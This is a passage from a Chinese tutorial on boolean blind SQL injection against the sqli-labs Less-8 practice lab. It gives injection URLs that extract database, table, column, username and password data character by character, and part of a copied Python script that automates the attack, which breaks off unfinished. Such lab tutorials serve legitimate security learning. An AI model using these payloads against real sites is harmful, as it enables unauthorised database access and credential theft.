七、盲注
盲注会用到上百条语句去一个字母一个字母猜,所以一般都会用自动化工具去跑,而不是手工注入
(一)布尔盲注(bool)
特点:无论参数是什么,只有两种:①正常显示,②啥也不显示
1.几个函数
substr()
截取函数,要给3个参数
substr(要截取的字符串,从哪一位开始截取,截取几位)
substr(pte,1,1)就是p
ascii()
将字母转换成ascii码的数字
length()
长度转换函数,输出结果的长度
2.sqlilabs-less8
只有两种显示:一种正常显示,一种啥也不显示
符合盲注特点,选择盲注方式处理
猜库长度
1. 判断数据库名字的长度
?id=1' and length(database())>5 --+
通过改变数字来确定数据库名字长度,等没有回显时就说明不符合条件,最后再
?id=1' and length(database())=8 --+
有回显,说明数据库长度为8
2.猜解数据库名
这里采用substr函数对数据库名进行分割,配合ascii函数,利用二分法进行字母猜解:
先猜解第一个字母:?id=1' and ascii(substr(database(),1,1))>100 --+
猜解第二个字母:?id=1' and ascii(substr(database(),2,1))>100 --+
3.猜解当前库中的表:
先猜解第一个表名的第一个字母:?id=1’ and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>10 --+
4.猜解users表中的字段:
先猜解第一个字段的第一个字母:?id=1’ and ascii(substr((select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),1,1))>100 --+
5.猜解username字段的信息:
先猜解第一个信息的第一个字母:?id=1’ and ascii(substr((select username from security.users limit 0,1),1,1))>10 --+
6.猜解password字段的信息:
先猜解第一个信息的第一个字母:
?id=1’ and ascii(substr((select password from security.users limit 0,1),1,1))>10 --+
7.一遍遍穷举,最后一百多次后得到全部数据
所以这玩意就不能手工注入,就该跑脚本 sqlmap跑这一关就很方便
3.sqlilabs-less8 脚本
抄来一份别的师傅写的针对这一关的脚本
copyright©Less-8(盲注--布尔盲注)_老司机开代码的博客-CSDN博客
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import requests
import re
class SQL_injection():
def __init__(self, id, url, table_name='tables', db_name='information.schema', *args):
self.id = id
self.url = url
self.db_name = db_name
self.table_name = table_name
self.args = args
# 访问操作
# 判断检索字段返回值: 返回检索字段的数目
# 盲注返回值: True返回1 False返回0
def req(self, url, num):
response = requests.get(url)
# print(url)
# print(response.text)
result = re.search(r'color="#FFFF00">(.*?)<', response.text)
# print(result)
if result:
if result.group(1) == "You are in...........":
# print("连接正确")
return num
else:
return 0
else:
return 0
# 判断字段数目, 需要指定数据库和数据表
def column_num(self):
num = 0
for i in range(1, 100):
new_url1 = self.url + self.id + " order by %s --+ " % (i)
# print(new_url1)
flag = self.req(new_url1, i)
if flag:
num = flag
print("\r网页搜索的字段数目为:%s" % flag, end="")
if not flag:
# print("xxx")
break
print()
return num
# 判断当前数据库名字
def db_name1(self):
length = 0
for i in range(1,100):
new_url = self.url + self.id + " and length(database())=%s --+" % i
flag = self.req(new_url, 1)